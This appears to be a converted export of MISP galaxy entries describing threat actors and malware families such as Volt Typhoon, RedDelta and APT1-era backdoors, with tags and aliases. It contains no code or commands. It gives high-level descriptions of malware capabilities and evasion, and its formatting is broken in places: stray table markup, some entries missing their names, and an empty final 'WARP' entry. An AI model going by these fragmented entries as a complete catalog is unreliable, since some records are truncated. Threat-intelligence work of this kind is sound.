</table>
**Volt Typhoon**

[Microsoft] Volt Typhoon, a state-sponsored actor based in China that typically focuses on espionage and information gathering. Microsoft assesses with moderate confidence that this Volt Typhoon campaign is pursuing development of capabilities that could disrupt critical communications infrastructure between the United States and Asia region during future crises.

[Secureworks] BRONZE SILHOUETTE likely operates on behalf the PRC. The targeting of U.S. government and defense organizations for intelligence gain aligns with PRC requirements, and the tradecraft observed in these engagements overlap with other state-sponsored Chinese threat groups.

The tag is: *misp-galaxy:threat-actor="Volt Typhoon"*

Volt Typhoon is also known as:

- BRONZE SILHOUETTE

*Table 11505. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**SmugX**

The campaign, called SmugX, overlaps with previously reported activity by Chinese APT actors RedDelta and Mustang Panda. Although those two correlate to some extent with Camaro Dragon, there is insufficient evidence to link the SmugX campaign to the Camaro Dragon group.

The campaign uses new delivery methods to deploy (most notably – HTML Smuggling) a new variant of PlugX, an implant commonly associated with a wide variety of Chinese threat actors. Although the payload itself remains similar to the one found in older PlugX variants, its delivery methods results in low detection rates, which until recently helped the campaign fly under the radar.

The tag is: *misp-galaxy:threat-actor="SmugX"*

*Table 11506. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RedDelta**

Likely Chinese state-sponsored threat activity group RedDelta targeting organizations within
Europe and Southeast Asia using a customized variant of the PlugX backdoor. Since at least 2019, RedDelta has been consistently active within Southeast Asia, particularly in Myanmar and Vietnam, but has also routinely adapted its targeting in response to global geopolitical events. This is historically evident through the group’s targeting of the Vatican and other Catholic organizations in the lead-up to 2021 talks between Chinese Communist Party (CCP) and Vatican officials, as well as throughout 2022 through the group’s shift towards increased targeting of European government and diplomatic entities following Russia’s invasion of Ukraine.

During the 3-month period from September through November 2022, RedDelta has regularly used an infection chain employing malicious shortcut (LNK) files, which trigger a dynamic-link library (DLL) search-order-hijacking execution chain to load consistently updated PlugX versions. Throughout this period, the group repeatedly employed decoy documents specific to government and migration policy within Europe. Of note, we identified a European government department focused on trade communicating with RedDelta command-and-control (C2) infrastructure in early August 2022. This activity commenced on the same day that a RedDelta PlugX sample using this C2 infrastructure and featuring an EU trade-themed decoy document surfaced on public malware repositories. We also identified additional probable victim entities within Myanmar and Vietnam regularly communicating with RedDelta C2 infrastructure.

RedDelta closely overlaps with public industry reporting under the aliases BRONZE PRESIDENT, Mustang Panda, TA416, Red Lich, and HoneyMyte.

The tag is: *misp-galaxy:threat-actor="RedDelta"

MoustachedBouncer

MoustachedBouncer is a cyberespionage group discovered by ESET Research and first publicly disclosed in August 2023. The group has been active since at least 2014 and only targets foreign embassies in Belarus. Since 2020, MoustachedBouncer has most likely been able to perform adversary-in-the-middle (AitM) attacks at the ISP level, within Belarus, in order to compromise its targets. The group uses two separate toolsets that we have named NightClub and Disco.

The tag is: misp-galaxy:threat-actor="MoustachedBouncer"

Storm-0324

The threat actor that Microsoft tracks as Storm-0324 is a financially motivated group known to gain initial access using email-based initial infection vectors and then hand off access to compromised networks to other threat actors. These handoffs frequently lead to ransomware deployment.

The tag is: misp-galaxy:threat-actor="Storm-0324"

Storm-0324 is also known as:

- DEV-0324
- Sagrid
- TA543

View relationships graph

Storm-0324 has relationships with:

- uses: misp-galaxy:malpedia="JSSLoader" with estimative-language:likelihood-probability="likely"
Scattered Canary

When the first member of Scattered Canary, who, for the purposes of this report, we call Alpha, began his operations, he was a lone wolf—working mostly Craigslist scams as he learned the tricks of the trade from a mentor. However, within a few years, he had honed his craft enough to expand into romance scams, where he met his first “employee,” Beta. Once they had secured enough mules via their romance scams to launder their stolen money, they shifted from targeting individuals to targeting enterprises, and the group’s BEC operation was born.

AtlasCross

NSFOCUS Security Labs recently discovered a new attack process based on phishing documents in their daily threat-hunting operations. Delving deeper into this finding through extensive research, they confirmed two new Trojan horse programs and many rare attack techniques and tactics. NSFOCUS Security Labs believes that this new attack process comes from a new APT attacker, who has a high technical level and cautious attack attitude. The phishing attack activity captured this time is part of the attacker’s targeted strike on specific targets and is its main means to achieve in-domain penetration. NSFOCUS Security Labs validated the high-level threat attributes of AtlasCross in terms of development technology and attack strategy through an in-depth analysis of its attack metrics. At this current stage, AtlasCross has a relatively limited scope of activity, primarily focusing on targeted attacks against specific hosts within a network domain. However, the attack processes they employ are highly robust and mature. NSFOCUS Security Labs deduce that this attacker is highly likely to deploy this attack process into larger-scale network attack operations.

**Carderbee**

Symantec recently reported on activity attributed to a threat actor group dubbed Carderbee. In the campaign, the threat actors target entities in Hong Kong and other regions of Asia via a supply chain attack leveraging the legitimate Cobra DocGuard software. The activity began as early as September 2022.

The tag is: `misp-galaxy:threat-actor="Carderbee"`

**UNC3890**

A suspected Iranian threat activity cluster has been linked to attacks aimed at Israeli shipping, government, energy, and healthcare organizations, in a campaign stretching back to late 2020. Researchers believe that the data harvested during the campaign could be used to support various activities. UNC3890, the threat actor behind the attacks, deployed two proprietary pieces of malware – a backdoor named “SUGARUSH” and a browser credential stealer called “SUGARDUMP”, which exfiltrates password information to email addresses registered with Gmail, ProtonMail, Yahoo and Yandex email services. The threat actor also employs a network of C&C servers that host fake login pages impersonating legitimate platforms such as Office 365, LinkedIn and Facebook. These servers are designed to communicate with the targets and also with a watering hole hosted on the login page of a legitimate Israeli shipping company.

The tag is: `misp-galaxy:threat-actor="UNC3890"`

**RedStinger**

In October 2022, Kaspersky identified an active infection of government, agriculture and transportation organizations located in the Donetsk, Lugansk, and Crimea regions. Although the initial vector of compromise is unclear, the details of the next stage imply the use of spear phishing or similar methods. The victims navigated to a URL pointing to a ZIP archive hosted on a malicious web server.

- UNC4899

TheDarkOverlord

The Dark Overlord is a financially motivated ransomware group that has been active since 2016. The group is known for targeting large organizations, including Netflix, ABC, and Miramax.

The tag is: misp-galaxy:threat-actor="TheDarkOverlord"
UNC2565

UNC2565 is a threat group that has used the GOOTLOADER downloader to deliver Cobalt Strike BEACON. These intrusions have stemmed from victims accessing malicious websites that use SEO techniques to improve Google search rankings. After obtaining a foothold in the environment, UNC2565 has conducted reconnaissance and credential harvesting activity using common tools such as BLOODHOUND and KERBEROAST. UNC2565's motivations are currently unknown but overlaps with activity that has led to SODINOKIBI ransomware. This suggests that the threat group may be financially motivated.

The tag is: `misp-galaxy:threat-actor="UNC2565"`

UNC2565 is also known as:

- Hive0127

Desorden Group

Desorden (Disorder in Spanish, previously known as ChaosCC), is a financially motivated hacker group. The group first emerged under the new name Desorden in September 2021, on Raidforums. Today the group maintains users under that name on several popular English-speaking hacking forums, where they share their attacks and ransom demands, and offer databases for sale. The group gained an excellent reputation among the cybercriminal communities due to their successful operations and the unique data that they share and offer for sale.

The tag is: `misp-galaxy:threat-actor="Desorden Group"`

**Xcatze**

Cloud security company Lacework says it discovered a threat actor group named Xcatze that uses a Python named AndroxGh0st to take over AWS servers and send out massive email spam campaigns. Lacework says the malware operates by scanning web apps written in the Laravel PHP framework for exposed configuration files to identify and steal server credentials. Researchers said AndroxGh0st specifically searches for AWS, SendGrid, and Twilio credentials, which it uses to take control of email servers and accounts and send out the spam campaigns.

The tag is: misp-galaxy:threat-actor="Xcatze"

Caracal Kitten

Caracal Kitten is an APT group that has been targeting activists associated with the Kurdistan Democratic Party. They employ a mobile remote access Trojan to gain unauthorized access to victims' devices. The group disguises their malware as legitimate mobile apps, tricking users into installing them and granting the hackers access to their personal data.

The tag is: `misp-galaxy:threat-actor="Caracal Kitten"`

Caracal Kitten is also known as:
Water Labbu

Trend Micro discovered a threat actor they named Water Labbu that was targeting cryptocurrency scam websites. Typically, cryptocurrency scammers use social engineering techniques, interacting with victims to gain their trust and then manipulating them into providing the permissions needed to transfer cryptocurrency assets. While Water Labbu managed to steal cryptocurrencies via a similar method by obtaining access permissions and token allowances from their victim’s wallets, unlike other similar campaigns, they did not use any kind of social engineering — at least not directly. Instead, Water Labbu lets other scammers use their social engineering tricks to scam unsuspecting victims.

The tag is: misp-galaxy:threat-actor="Water Labbu"

TAG-56

TAG-56 is a threat actor group that shares similarities with the APT42 group. They use tactics such as fake registration pages and spearphishing to target victims, often using encrypted chat platforms like WhatsApp or Telegram. TAG-56 is believed to be part of a broader campaign led by an Iran-nexus threat activity group. They have been observed using shared web hosts and recycled code, indicating a preference for acquiring purpose-built infrastructure rather than establishing their own.

The tag is: misp-galaxy:threat-actor="TAG-56"
TA482

Since early 2022, Proofpoint researchers have observed a prolific threat actor, tracked as TA482, regularly engaging in credential harvesting campaigns that target the social media accounts of mostly US-based journalists and media organizations. This victimology, TA482's use of services originating from Turkey to host its domains and infrastructure, as well as Turkey's history of leveraging social media to spread pro-President Recep Tayyip Erdogan and pro-Justice and Development Party (Turkey’s ruling party) propaganda support Proofpoint’s assessment that TA482 is aligned with the Turkish state.

N4ughtysecTU

In March 2022, a hacking group calling themselves N4ughtySecTU claimed to have breached TransUnion’s systems and threatened to leak four terabytes of data if the credit bureau didn’t pay a $15-million (R242-million) ransom.

The tag is: `misp-galaxy:threat-actor="N4ughtysecTU"`
Moshen Dragon

Moshen Dragon is a Chinese-aligned cyberespionage threat actor operating in Central Asia. They have been observed deploying multiple malware triads and utilizing DLL search order hijacking to sideload ShadowPad and PlugX variants. The threat actor also employs various tools, including an LSA notification package and a passive backdoor known as GUNTERS. Their activities involve targeting the telecommunication sector and leveraging Impacket for lateral movement and data exfiltration.

The tag is: `misp-galaxy:threat-actor="Moshen Dragon"`

TiltedTemple

One of their notable tools is a custom backdoor called SockDetour, which operates filelessly and socketlessly on compromised Windows servers. The group’s activities have been linked to the exploitation of vulnerabilities in Zoho ManageEngine ADSelfService Plus and ServiceDesk Plus.

The tag is: `misp-galaxy:threat-actor="TiltedTemple"`

TiltedTemple is also known as:

- DEV-0322
**OldGremlin**

OldGremlin is a Russian-speaking ransomware group that has been active for several years. They primarily target organizations in Russia, including banks, logistics, industrial, insurance, retail, and IT companies. OldGremlin is known for using phishing emails as an initial infection vector and has developed custom malware for both Windows and Linux systems. They have conducted multiple malicious email campaigns and demand large ransoms from their victims, with some reaching millions of dollars.

The tag is: `misp-galaxy:threat-actor="OldGremlin"`

Daixin Team

Daixin is a threat actor group that has been active since at least June 2022. They primarily target the healthcare and public health sector with ransomware attacks, stealing sensitive data and threatening to release it if a ransom is not paid. They have successfully targeted various industries, including healthcare, aerospace, automotive, and packaged foods. Daixin gains initial access through VPN servers and exploits vulnerabilities or uses phishing attacks to obtain credentials. They have been responsible for cyberattacks on organizations such as the North Texas Municipal Water District and TransForm Shared Service Org, impacting their networks and stealing customer and patient information.

AeroBlade

AeroBlade is a previously unknown threat actor that has been targeting an aerospace organization in the United States. Their objective appears to be conducting commercial and competitive cyber espionage. They employ spear-phishing as a delivery mechanism, using weaponized documents with embedded remote template injection techniques and malicious VBA macro code. The attacks have been ongoing since September 2022, with multiple phases identified in the attack chain. The origin and precise objective of AeroBlade remain unknown.
WIP19

WIP19 is a Chinese-speaking threat group involved in espionage targeting the Middle East and Asia. They utilize a stolen certificate to sign their malware, including SQLMaggie, ScreenCap, and a credential dumper. The group has been observed targeting telecommunications and IT service providers, using toolsets authored by WinEggDrop. WIP19's activities suggest they are after specific information and are part of the broader Chinese espionage landscape.

The tag is: misp-galaxy:threat-actor="WIP19"

UNC2447

UNC2447 is a financially motivated threat actor with ties to multiple hacker groups. They have been observed deploying ransomware, including FiveHands and Hello Kitty, and engaging in double extortion tactics. They have been active since at least May 2020 and target organizations in Europe and North America.

The tag is: misp-galaxy:threat-actor="UNC2447"

UNC215

UNC215 is a Chinese nation-state threat actor that has been active since at least 2014. They have targeted organizations in various sectors, including government, technology, telecommunications,
defense, finance, entertainment, and healthcare. UNC215 has been observed using tools such as Mimikatz, FOCUSFJORD, and HYPERBRO for initial access and post-compromise activities. They have demonstrated a focus on evading detection and have employed tactics such as using trusted third parties, minimizing forensic evidence, and incorporating false flags. UNC215’s targets are located globally, with a particular focus on the Middle East, Europe, Asia, and North America.

**UNC2630**

UNC2630 is a threat actor believed to be affiliated with the Chinese government. They engage in cyber espionage activities, targeting organizations aligned with Beijing’s strategic objectives. UNC2630 demonstrates advanced tradecraft and employs various malware families, including SLOWPULSE and RADIALPULSE, to compromise Pulse Secure VPN appliances. They also utilize modified binaries and scripts to maintain persistence and move laterally within compromised networks.

The tag is: `misp-galaxy:threat-actor="UNC2630"`

Table 11637. Table References
Sandman APT

First disclosed in 2023, the Sandman APT is likely associated with suspected China-based threat clusters known for using the KEYPLUG backdoor, specifically STORM-0866/Red Dev 40. Sandman is tracked as a distinct cluster, pending additional conclusive information. A notable characteristic is its use of the LuaDream backdoor. LuaDream is based on the Lua platform, a relatively rare occurrence in the cyberespionage domain, historically associated with APTs considered Western or Western-aligned.

The tag is: misp-galaxy:threat-actor="Sandman APT"

BiBiGun

A pro-Hamas hacktivist group developed a wiper called BiBi-Linux to target and destroy data on Israeli systems. The malware impersonates ransomware but operates solely to corrupt and delete files, indicating no data theft. A Windows variant, BiBi-Windows, was also discovered, sharing similarities with BiBi-Linux but targeting all files except executables. ESET researchers have named the group behind the wipers BiBiGun. The group’s TTPs have shown overlaps with Moses Staff, which is believed to have an Iran nexus.

## PWOBot

We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.

The tag is: `misp-galaxy:tool="PWOBot"`

PWOBot is also known as:

- PWOLauncher
- PWOHTTPD
- PWOKeyLogger
Lost Door RAT

We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.

The tag is: *misp-galaxy:tool="Lost Door RAT"*

Lost Door RAT is also known as:

- LostDoor RAT
- BKDR_LODORAT

njRAT

Regin

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

**Htran**

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission
Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker's communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network.

X-Agent

APT28’s second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

NanHaiShu

This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.

The tag is: misp-galaxy:tool="NanHaiShu"

Umbreon

Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.

The tag is: misp-galaxy:tool="Umbreon"
Odinaff

Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.

Hworm

Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.

**Empire**

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

The tag is: `misp-galaxy:tool="Empire"`

View relationships graph

Empire has relationships with:
Explosive

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: \textit{misp-galaxy:tool}="Explosive"

KeyBoy

The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data.

The tag is: \textit{misp-galaxy:tool}="KeyBoy"

Tartine

Delphi RAT used by Sofacy.

The tag is: misp-galaxy:tool="Tartine"

Mirai

Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs’s web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.

The tag is: misp-galaxy:tool="Mirai"

Mirai is also known as:

- Linux/Mirai
Mirai has relationships with:

- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"

**BlackEnergy**

BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

The tag is: `misp-galaxy:tool="BlackEnergy"`

**StreamEx**

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

7316
**Trochilus**

The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.

AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

• similar: misp-galaxy:malpedia="bangat" with estimative-language:likelihood-probability="almost-certain"

Table 11807. Table References
BISCUIT

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: *misp-galaxy:tool="BISCUIT"*

BISCUIT has relationships with:

- similar: *misp-galaxy:mitre-malware="BISCUIT - S0017"* with *estimative-language:likelihood-probability="likely"*
- similar: *misp-galaxy:malpedia="Biscuit"* with *estimative-language:likelihood-probability="almost-certain"*

Table 11808. Table References

BOUNCER

BOUNCER will load an extracted DLL into memory, and then will call the DLL’s dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: *misp-galaxy:tool="BOUNCER"*

BOUNCER has relationships with:

- similar: *misp-galaxy:malpedia="Bouncer"* with *estimative-language:likelihood-probability="almost-certain"*
CAALENDAR

This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.

The tag is: misp-galaxy:tool="CAALENDAR"

COMBOS

The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.

The tag is: misp-galaxy:tool="COMBOS"
**COOKIEBAG**

his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.

The tag is: `misp-galaxy:tool="COOKIEBAG"`

**DAIRY**

Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.

The tag is: `misp-galaxy:tool="DAIRY"`
GETMAIL

Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.

The tag is: misp-galaxy:tool="GETMAIL"

View relationships graph

GETMAIL has relationships with:

• similar: misp-galaxy:malpedia="GetMail" with estimative-language:likelihood-probability="almost-certain"

GDOCUPLOAD

This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google’s published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The tag is: misp-galaxy:tool="GDOCUPLOAD"

GLOOXMAIL

GLOOXMAIL communicates with Google’s Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: misp-galaxy:tool="GLOOXMAIL"

GLOOXMAIL is also known as:

• TROJAN.GTALK
GLOOXMAIL has relationships with:

- similar: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="GlooxMail" with estimative-language:likelihood-probability="almost-certain"

**GOGGLES**

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: misp-galaxy:tool="GOGGLES"

GOGGLES is also known as:

- TROJAN.FOXY

</tbody>
</table>

**GREENCAT**

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that
allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: misp-galaxy:tool="GREENCAT"

Table 11818. Table References

Links

</tr>
</tbody>
</table>

LIGHTDART

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: misp-galaxy:tool="LIGHTDART"

Table 11823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
LONGRUN

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The tag is: misp-galaxy:tool="LONGRUN"

MANITSME

This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.

The tag is: misp-galaxy:tool="MANITSME"

View relationships graph

MANITSME has relationships with:

- similar: misp-galaxy:malpedia="ManItsMe" with estimative-language:likelihood-probability="almost-certain"

MAPIGET

This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).

The tag is: misp-galaxy:tool="MAPIGET"
MINIASP

This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.

The tag is: `misp-galaxy:tool="MINIASP"`

NEWSREELS

The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.

The tag is: `misp-galaxy:tool="NEWSREELS"`
The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.

The tag is: `misp-galaxy:tool="SEASALT"`

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

The tag is: `misp-galaxy:tool="STARSYPOUND"`
**SWORD**

This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.

The tag is: *misp-galaxy:tool="SWORD"*

**View relationships graph**

SWORD has relationships with:

- similar: *misp-galaxy:malpedia="Sword"* with estimative-language:likelihood-probability="almost-certain"

**TABMSGSQAL**

This malware family is a full-featured backdoor capable of file uploading and downloading, arbitrary execution of programs, and providing a remote interactive command shell. All communications with the C2 server are sent over HTTP to a static URL, appending various URL parameters to the request. Some variants use a slightly different URL.

The tag is: *misp-galaxy:tool="TABMSGSQAL"*

TABMSGSQAL is also known as:

- TROJAN LETSGO

**View relationships graph**

TABMSGSQAL has relationships with:

- similar: *misp-galaxy:malpedia="TabMsgSQL"* with estimative-language:likelihood-probability="almost-certain"
**TARSIP-ECLIPSE**

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-ECLIPSE"*

</tr>
</tbody>
</table>

**WARP**

